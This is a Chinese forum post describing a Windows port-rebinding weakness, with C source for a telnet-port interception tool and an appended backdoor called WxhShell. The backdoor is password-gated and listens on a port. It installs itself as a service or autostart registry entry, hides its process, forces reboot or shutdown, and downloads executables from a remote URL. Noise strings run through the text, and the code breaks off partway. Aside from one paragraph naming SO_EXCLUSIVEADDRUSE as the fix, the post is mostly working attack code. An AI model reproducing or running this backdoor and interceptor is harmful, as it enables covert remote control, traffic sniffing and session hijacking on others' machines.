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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rloxM~7!,)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1##@'L|u  
Qt>kythi  
  saddr.sin_family = AF_INET; C_q2bI  
.nVY" C&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C|IHRw`[  
i!UT =  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >iK LC  
C<9GdN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }m^^6h  
)jUPMIo  
  这意味着什么?意味着可以进行如下的攻击: }TZM@{;  
W vu 1?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4B[pQlg  
"0 %f R"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OMo/a%`  
)OFN0'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s.;'-oA  
kiyKL:6D|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [Rq|;p  
OIw[sum2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ce}m$k  
Uea2WJpX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 baTd;`Pn  
kRwY#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BT0;I  
Y$Rte .?  
  #include ,+h<qBsV@  
  #include m;xa}b{(i  
  #include KI*b We  
  #include    d { P$}b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k^;/@:  
  int main() 'ta&qp  
  { 4 )}>dxv  
  WORD wVersionRequested; RZq_}-P,.c  
  DWORD ret; ABp8PD  
  WSADATA wsaData; W;!V_-:  
  BOOL val; J~`!@!  
  SOCKADDR_IN saddr; =2rdbq6R  
  SOCKADDR_IN scaddr; ]xb2W~  
  int err; uhaHY`w  
  SOCKET s; 7tJ#0to  
  SOCKET sc; dikX_ Q>D  
  int caddsize; NgsEEPu?  
  HANDLE mt; (NfB+Ue}  
  DWORD tid;   ,d.5K*?aI  
  wVersionRequested = MAKEWORD( 2, 2 ); k[<i+C";  
  err = WSAStartup( wVersionRequested, &wsaData ); KC9VQeSc  
  if ( err != 0 ) { 'ju_l)(R  
  printf("error!WSAStartup failed!\n"); N^F5J  
  return -1; pV:44  
  } !,b&e  
  saddr.sin_family = AF_INET; cR55,DR,#W  
   >XuPg(Ow  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j3+ hsA/(k  
i~<.@&vt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b rDyjh  
  saddr.sin_port = htons(23); apM)$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n >E1\($  
  { 3FO-9H  
  printf("error!socket failed!\n"); { Ngut  
  return -1; +yk0ez  
  } Lew 2Z  
  val = TRUE; ^K~=2^sh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B'vIL'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wJgGw5  
  { }+u<w{-7/  
  printf("error!setsockopt failed!\n"); w9gfva$&  
  return -1; CL(D&8v8~  
  } .]<iRf[\[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?e+y7K}"]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nS.qK/.s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A~0yMww:$  
rT4qx2u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y~#.otBL&  
  { fp3`O9+em  
  ret=GetLastError(); { Rxb_9  
  printf("error!bind failed!\n"); 3_i29ghv  
  return -1; 7}&vEc@w&  
  } iM8l,Os]<f  
  listen(s,2); dd6l+z  
  while(1) )7E7K%:b,  
  { H:z<]Rc  
  caddsize = sizeof(scaddr); =|^R<#%/  
  //接受连接请求 ):L0{W{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kj4L PG  
  if(sc!=INVALID_SOCKET) +&M>J|  
  { ,n>K$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a?W<<9]  
  if(mt==NULL) A*]sN8  
  { v//Drj  
  printf("Thread Creat Failed!\n"); iWe'|Br  
  break; W E /1h  
  } ~ sWXd~\  
  } uF D  
  CloseHandle(mt); /}d)g4\j  
  } @'J[T:e  
  closesocket(s); m^tf=O<  
  WSACleanup(); 2ryg3% +O  
  return 0; ,v9*|>4  
  }   i>pUTT _[  
  DWORD WINAPI ClientThread(LPVOID lpParam) |Ur$H!oe?'  
  { eFQz G+/  
  SOCKET ss = (SOCKET)lpParam; 9A\\2Zz6F  
  SOCKET sc; U[ogtfv`m  
  unsigned char buf[4096]; Fj&8wZ)v)  
  SOCKADDR_IN saddr; \@ N[  
  long num; Fa X3@Sd!  
  DWORD val; S'IQbHz*  
  DWORD ret; i)]^b{5nyB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;T>.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =u5( zaBe  
  saddr.sin_family = AF_INET; *Oh]I|?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pEG!j ~  
  saddr.sin_port = htons(23); Yjx4H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _U~~[I  
  { |7miT!y8  
  printf("error!socket failed!\n"); :*tFW~<*b  
  return -1; C'joJEo  
  } _xo;[rEw8  
  val = 100; 5^{).fig  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lhxg5cd  
  { RJD(c#r$  
  ret = GetLastError(); DC'L-]#<  
  return -1; 90a!_8o  
  } 7)x 788Z6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p2wDk^$  
  { QM=Y}   
  ret = GetLastError(); .JWN\\  
  return -1; Es1T{<G|w  
  } _6\"U5*Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  |u^~Z-.  
  { L\t?^u  
  printf("error!socket connect failed!\n"); iGIry^D  
  closesocket(sc); -EWC3,3  
  closesocket(ss); p $,ZYF~  
  return -1; 1Zgv+.  
  } D.x&N~-  
  while(1) 4{ED~w|  
  {  0gJ{fcI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EzXi*/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #>">fs]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cx*$GaMk  
  num = recv(ss,buf,4096,0); f2i9UZ$=e!  
  if(num>0) xbZR/!?  
  send(sc,buf,num,0); &v/R-pz  
  else if(num==0) b}m@2DR'|m  
  break; j k/-7/r  
  num = recv(sc,buf,4096,0); ~PedR=Y0n  
  if(num>0) #9]O92t2UV  
  send(ss,buf,num,0); 6'1Lu1w  
  else if(num==0) HurF4IsHk  
  break; 1,pPLc(  
  } NPt3#k^bW  
  closesocket(ss); |DXi~  
  closesocket(sc); G8Zl[8  
  return 0 ; #i-b|J+%  
  } ZE6W"pbjU  
Y]+KsiOL  
)$QZ",&5  
========================================================== Jr,**,wA  
r<_qU3Eaj  
下边附上一个代码,,WXhSHELL .;%`I  
;1Q @d  
========================================================== Eyg F,>.4  
c^}DBvG,  
#include "stdafx.h" Ca#T?HL  
3u1\zse  
#include <stdio.h> LTnbBh*mc  
#include <string.h> OT}P0 ~4s  
#include <windows.h> +Sg+% 8T  
#include <winsock2.h> ;^  YpQP  
#include <winsvc.h> He  LW*  
#include <urlmon.h> \!Ap<  
Xrzpn&Y=#  
#pragma comment (lib, "Ws2_32.lib") lLNI5C  
#pragma comment (lib, "urlmon.lib") +pbP;zu  
F|?}r3{aJ  
#define MAX_USER   100 // 最大客户端连接数 (T =u_oe  
#define BUF_SOCK   200 // sock buffer Rh{`#dI~=  
#define KEY_BUFF   255 // 输入 buffer (iY2d_FQ[  
sn yA  
#define REBOOT     0   // 重启 X-cP '"  
#define SHUTDOWN   1   // 关机 G3.\x_;k  
t9&=; s  
#define DEF_PORT   5000 // 监听端口 !>6`+$=U  
fY 10a_@x  
#define REG_LEN     16   // 注册表键长度 H.)J?3  
#define SVC_LEN     80   // NT服务名长度 Bn*QT:SKC  
!r9~K^EI  
// 从dll定义API ` 6pz9j]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LN=#&7=$c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !1`f84d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e J:#vX86  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8n/[oDc]  
yUg'^SEbLk  
// wxhshell配置信息 =T#?:J#a  
struct WSCFG { E{[>j'dwc  
  int ws_port;         // 监听端口 r-&* `Jh  
  char ws_passstr[REG_LEN]; // 口令 L:Me  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Iv`B:4  
  char ws_regname[REG_LEN]; // 注册表键名 )H%Rw V#  
  char ws_svcname[REG_LEN]; // 服务名 #kAk d-QY6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .zvvk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A1x    
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 68nPz".X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JUTlJyx8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q8NrbMrl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ss'Dto35Q  
(YHK,aC>u  
}; @Pf['BF"  
B'D~Q  
// default Wxhshell configuration |6~ Kin  
struct WSCFG wscfg={DEF_PORT, @gm!D`YL  
    "xuhuanlingzhe", \|$GBU  
    1, W7.QK/@  
    "Wxhshell", %wIb@km  
    "Wxhshell", (^^}Ke{J  
            "WxhShell Service", Gvc/o$_  
    "Wrsky Windows CmdShell Service", X9#i!_*  
    "Please Input Your Password: ", `6o5[2V  
  1, i[PksT#p  
  "http://www.wrsky.com/wxhshell.exe", !FeNx*31i  
  "Wxhshell.exe" l!%V&HJV  
    }; /(Ryh6M  
^\3z$ntF  
// 消息定义模块 'PdUSv|lH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lg+cHaA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \`8?=_ST  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?wMS[Kj  
char *msg_ws_ext="\n\rExit."; "qw.{{:tf  
char *msg_ws_end="\n\rQuit."; v\Zq=,+  
char *msg_ws_boot="\n\rReboot..."; &dJ\}O[r  
char *msg_ws_poff="\n\rShutdown..."; QE`u~  
char *msg_ws_down="\n\rSave to "; `+GiSj8'G  
BzI(  
char *msg_ws_err="\n\rErr!"; "mAMfV0  
char *msg_ws_ok="\n\rOK!"; MMf_  
yz_xWx#9  
char ExeFile[MAX_PATH]; CMHg]la  
int nUser = 0; H;RgYu2J  
HANDLE handles[MAX_USER]; vPx#TXY=b}  
int OsIsNt; CV *  
)!d_Td\-  
SERVICE_STATUS       serviceStatus; TJkWL2r0c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ib~EQ?u{  
-d6PXf5  
// 函数声明 x!A5j $k0  
int Install(void); AI3\eH+  
int Uninstall(void); K=!?gd!Vw  
int DownloadFile(char *sURL, SOCKET wsh); P;p;o]  
int Boot(int flag); TXfG@4~kC  
void HideProc(void); qX*Xo[Xp  
int GetOsVer(void); qim|=  
int Wxhshell(SOCKET wsl); ~JohcU}d  
void TalkWithClient(void *cs); BHZSc(-o  
int CmdShell(SOCKET sock); yb'v*B ]  
int StartFromService(void); _H$Z }2g<z  
int StartWxhshell(LPSTR lpCmdLine); HG[gJ7  
Cj# ?Z7}z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T$s)aM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H]>7IhJ  
s:Z1 ZAxv  
// 数据结构和表定义 gEnc;qb  
SERVICE_TABLE_ENTRY DispatchTable[] = 1DM$FG_Z-  
{ 5 OF*PBZ  
{wscfg.ws_svcname, NTServiceMain}, hVu~[ 'Me  
{NULL, NULL} gYfOa`k  
}; Bt"*a=t;  
BaE}|4  
// 自我安装 zK&J2P`  
int Install(void) qN6GLx%  
{ rOXh?r  
  char svExeFile[MAX_PATH]; I}1<epd ,  
  HKEY key; Xe\,:~  
  strcpy(svExeFile,ExeFile); jp+#N pH  
nF{>RD  
// 如果是win9x系统,修改注册表设为自启动 'pl){aL`@u  
if(!OsIsNt) { jX 6+~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f{f|frs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }7/Ob)O  
  RegCloseKey(key); KPs @v@5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / lN09j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Fs1ms)  
  RegCloseKey(key); Xc7Qu?}  
  return 0; btIh%OM  
    } yy$7{9!  
  } CiC@Z,ud`  
} DwH=ln=  
else { &?B\(?*  
407;M%?'A  
// 如果是NT以上系统,安装为系统服务 qAR}D~t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4p_@f^v~QH  
if (schSCManager!=0) 1F }mlyS  
{ {t&+abY  
  SC_HANDLE schService = CreateService Xu&4|$wB+  
  ( Vr%!rQ  
  schSCManager, vCtag]H2@  
  wscfg.ws_svcname, _K|513I  
  wscfg.ws_svcdisp, ~yuj;9m3  
  SERVICE_ALL_ACCESS, @awN*mO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $)Pmr1==  
  SERVICE_AUTO_START, [:\8Ug8  
  SERVICE_ERROR_NORMAL, k84JDPu#  
  svExeFile, E>6:59+  
  NULL, h` $2/%?  
  NULL, FR@## i$  
  NULL, D^W?~7e ^r  
  NULL, 4>xv7  
  NULL .]W A/}  
  ); {BKr/) H  
  if (schService!=0) S vR? nN|  
  { '^Ce9r}  
  CloseServiceHandle(schService); _jCjq   
  CloseServiceHandle(schSCManager); ;qT7BUh(%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  a7UfRG  
  strcat(svExeFile,wscfg.ws_svcname); m]NyEMYg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y*5bF 0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pkw ` o #  
  RegCloseKey(key); 7T3ub3\  
  return 0; zn|/h,.  
    } lfp'D+#p {  
  } g+98G8 R  
  CloseServiceHandle(schSCManager); c 0%%X!!$  
} o-jF?9m  
} zbDM+;  
YSE6PG   
return 1; 8+ <vumnw  
} } 6Uw4D61  
6M`N| %  
// 自我卸载 Lh5d2}tcO  
int Uninstall(void) P]G`Y>#$r  
{ DEw_dOJ(  
  HKEY key; e/;chMCq  
BEzF'<Z  
if(!OsIsNt) { $3Ct@}=n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oZV=vg5Dq  
  RegDeleteValue(key,wscfg.ws_regname); ![BQ;X  
  RegCloseKey(key); 6h|@Bz/A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t zhkdG  
  RegDeleteValue(key,wscfg.ws_regname); dik+BBu5z  
  RegCloseKey(key); N'nqVYTU  
  return 0; jyt#C7mj-A  
  } ,rp-`E5ap  
} ec4jiE  
} q1Si*?2W  
else { DVNGV   
38%xB<Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JxP=[>I  
if (schSCManager!=0) ''Y}Q"  
{ 6N&S3<c4JO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M[ (mH(j  
  if (schService!=0) /]Fs3uf  
  { {Tp0#fi  
  if(DeleteService(schService)!=0) { $SQ8,Y,  
  CloseServiceHandle(schService); NW`.RGLI<  
  CloseServiceHandle(schSCManager); N;A #3Ter  
  return 0; yWACI aj  
  } _be*B+?2t  
  CloseServiceHandle(schService); UlHRA[SCv  
  } nBd!296  
  CloseServiceHandle(schSCManager); dF{3 ~0+,  
} oQC*d}_E}  
} 0KyujU?sF  
,#1ke  
return 1; oAX-Sg-/$  
} Z1FO.[FV  
*J!oV0#1  
// 从指定url下载文件 : z^ p s0  
int DownloadFile(char *sURL, SOCKET wsh) ]],6Fi+  
{ cWl)ZE<hM  
  HRESULT hr; j=)Cyg3_%  
char seps[]= "/"; Bo?uwi  
char *token; f- pt8  
char *file; n37C"qJ/i  
char myURL[MAX_PATH]; 0}qij  
char myFILE[MAX_PATH]; o$m64l  
z12[vN  
strcpy(myURL,sURL); f)q\RJA)X  
  token=strtok(myURL,seps); H*3f8A&@s  
  while(token!=NULL) sJX/YGHt  
  { 5j`"@C5;O  
    file=token; =1lKcA[z  
  token=strtok(NULL,seps); FyYQ4ov0&o  
  } 0/<}.Z]  
j4le../N  
GetCurrentDirectory(MAX_PATH,myFILE); ]DdD FLM  
strcat(myFILE, "\\"); 3O<<XXar  
strcat(myFILE, file); EuqmA7s8A  
  send(wsh,myFILE,strlen(myFILE),0); ?rWqFM:hb  
send(wsh,"...",3,0); it\{#rb=4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XZuJ<]}X,  
  if(hr==S_OK) UuAn`oYhV  
return 0; _%!C;`3Y  
else ^LTLyt)/  
return 1; -:m;ePK  
AynWs5|z=  
} X#5dd.RR  
SxC$EQ gL  
// 系统电源模块 fu9y3`  
int Boot(int flag) 9x&,`95O  
{ GY<Y,  
  HANDLE hToken; u.0Z)j}N  
  TOKEN_PRIVILEGES tkp; @\Sa)  
WE4:Jy  
  if(OsIsNt) { }f^r@3Cb3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \,[Qg#W$u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b ^ ly  
    tkp.PrivilegeCount = 1; ZP*Hx %U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o&g=Z4jj<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q NU\XO`H  
if(flag==REBOOT) { DyG3|5s1R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ag14omM-  
  return 0; qDhz|a#  
} %fh ,e5(LT  
else { q>r9ooN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <X j:c2@  
  return 0; ;38DBo  
} ,\[&%ph  
  } O\XN/R3  
  else { +uKlg#wqc  
if(flag==REBOOT) { &B#HgWud  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B!! xu  
  return 0; 9Q^>.^~^  
} QgEG%YqB  
else { kE,~NG9P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0^]E-Zf  
  return 0; :Py/d6KK  
} wz9V)_V*  
} QZ"Lh  
E0>4Q\n{  
return 1; 9X@y*;w<t  
} 2z:4\Y5  
Ngu+V  
// win9x进程隐藏模块 @?3u|m |Z  
void HideProc(void) ^g~Asz5]  
{ %K;,qS'N_  
xI<Dc*G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oA"t`,3  
  if ( hKernel != NULL ) E4HG`_cWb  
  { g/mVd;#o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UALwr>+VJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iwJBhu0@#  
    FreeLibrary(hKernel); T}$1<^NK  
  } ]b.@i&M  
pYI`5B4  
return; yps7MM-r  
} MQD UJ^I$  
X{9D fgW  
// 获取操作系统版本 "T<Q#^m  
int GetOsVer(void) dU3UCD+2y  
{ Dsm_T1X  
  OSVERSIONINFO winfo; 3 {\b/NL$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ul?'kuYk  
  GetVersionEx(&winfo); Ua,Lg.z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6QLWF @  
  return 1; Ii,e=RG>  
  else x!{5.#  
  return 0; /$! / F@^  
} :tedtV ~  
\Bw9%P~ G  
// 客户端句柄模块 & *B@qQ  
int Wxhshell(SOCKET wsl) &0It"17Ej  
{ E O52 E|  
  SOCKET wsh; PnFU{N  
  struct sockaddr_in client; iJZqAfG{m?  
  DWORD myID; P cnr  
!Q*.Dw()[  
  while(nUser<MAX_USER) ]~U4;  
{ w_ kHy_)  
  int nSize=sizeof(client); X<x"\Yk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q+19EJ(  
  if(wsh==INVALID_SOCKET) return 1; .LIEZ^@  
?NGM<nK;7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y{uRh>l  
if(handles[nUser]==0) drBWo|/  
  closesocket(wsh); `5r*4N<  
else T8GxoNm  
  nUser++; AZ(["kh[  
  } _.' j'j%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hvtg_w6K  
MQ$[jOAqP  
  return 0; y5kqnibh@  
} 9jDV]!N4  
"w*VyD  
// 关闭 socket Pg{Dy>&2`I  
void CloseIt(SOCKET wsh) V9`VF O  
{ 54_CewL1P]  
closesocket(wsh); c+f~>AaI  
nUser--; c_~)#F%P  
ExitThread(0); S:v]3G  
} SZpBbX$  
``nuw7\C:  
// 客户端请求句柄 AY5%<CWj8  
void TalkWithClient(void *cs) R^iF^IB  
{ Lco JltY{5  
r,(rWptf4  
  SOCKET wsh=(SOCKET)cs; `J|bGf#  
  char pwd[SVC_LEN]; j5Vyo>  
  char cmd[KEY_BUFF]; Gw:8-bxS  
char chr[1]; ;2(8&.  
int i,j; EoD;'+d  
G%Hr c  
  while (nUser < MAX_USER) { p[4KN(PyK  
s]#D;i8  
if(wscfg.ws_passstr) { f>k]{W Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 <*sP%6bD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` Xc~'zG  
  //ZeroMemory(pwd,KEY_BUFF); dZFf /BXU  
      i=0; (n;#Z,  
  while(i<SVC_LEN) { vR.=o*!%  
)s5Q4m!  
  // 设置超时 z|^:1ov,  
  fd_set FdRead; OBqaf )W  
  struct timeval TimeOut; 7m~.V[l1  
  FD_ZERO(&FdRead); ;{[&&qMwU  
  FD_SET(wsh,&FdRead); w6zB uW  
  TimeOut.tv_sec=8; 2a'b}<|[(  
  TimeOut.tv_usec=0; "_WOt Jr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~2+J]8@I]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cK%Sty'8+  
;9PJ K5>~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0"o%=i;  
  pwd=chr[0]; ,#W>E,UU  
  if(chr[0]==0xd || chr[0]==0xa) { Jz(wXp  
  pwd=0; ]&w8"q  
  break; ;|*o^9q  
  } fQ33J>  
  i++; \CNv,HUm3  
    } LfOXgn\  
1O3"W;SR<:  
  // 如果是非法用户,关闭 socket L9ECF;)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Vc;s !R  
} P>n}\"z4  
0`VA} c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "i0{E!,XL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~iI4v#0  
zr#n^?m  
while(1) { fGGGz$;N  
jyB^a;-  
  ZeroMemory(cmd,KEY_BUFF); 21ng94mC  
zv/owK  
      // 自动支持客户端 telnet标准   ip.aM#  
  j=0; |hGi8  
  while(j<KEY_BUFF) { =, kH(rp2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :+u K1N  
  cmd[j]=chr[0]; p+6L qk<  
  if(chr[0]==0xa || chr[0]==0xd) { Eci,];S7  
  cmd[j]=0; K`%{(^}.  
  break; vhsHyb  
  } 5}-e9U  
  j++; w K)/m`{g  
    } =VXxQ\{  
DVC<P}/  
  // 下载文件 Ek#?B6s  
  if(strstr(cmd,"http://")) { #>)OLKP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; (0<5LQ  
  if(DownloadFile(cmd,wsh)) oW7\T !f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Km/#\$|}  
  else )Pj8{.t4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AE?G+:B  
  } .MUoNk!  
  else { WBOebv  
1uz7E  
    switch(cmd[0]) { cHr.7 w  
  ( q8uB  
  // 帮助 @x u/&pbI  
  case '?': { 6KpG,%2L#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0J \hku\  
    break; &n 1 \^:  
  } 7|vB\[s  
  // 安装 (A<'{J#5,  
  case 'i': { s01W_P.@R  
    if(Install()) >o45vB4o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"jNS1B  
    else (j*1sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJXQM[  
    break; Qx{[#[Da  
    } ]Sl]G6#Iwv  
  // 卸载 :f9O3QA  
  case 'r': { 8r|5l~`8  
    if(Uninstall()) Z3jtq-y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@%sX24D  
    else !X 8<;e}2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4R8W ot  
    break; ~C;1}P%9x  
    } z'9Mg]&>  
  // 显示 wxhshell 所在路径 `%a+LU2  
  case 'p': {  ~wX4j  
    char svExeFile[MAX_PATH]; UN,y /V  
    strcpy(svExeFile,"\n\r"); >mWu+Nn:  
      strcat(svExeFile,ExeFile); P#8 ]m(  
        send(wsh,svExeFile,strlen(svExeFile),0); c2$&pZ M  
    break; y%9Q]7&=  
    } q^.\8zFf  
  // 重启 bM%c*_$F7  
  case 'b': { ^KK9T5H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NbDfD3 1GK  
    if(Boot(REBOOT)) rwRb _eIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pPezy:  
    else { TNvE26.(  
    closesocket(wsh); |H(Mmqgk  
    ExitThread(0); +.p$Yi`  
    } YflotlT}  
    break; 7+h*&f3>  
    } qtv>`:neB  
  // 关机 HOb-q|w  
  case 'd': { ,;_D~7L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ;7F|g  
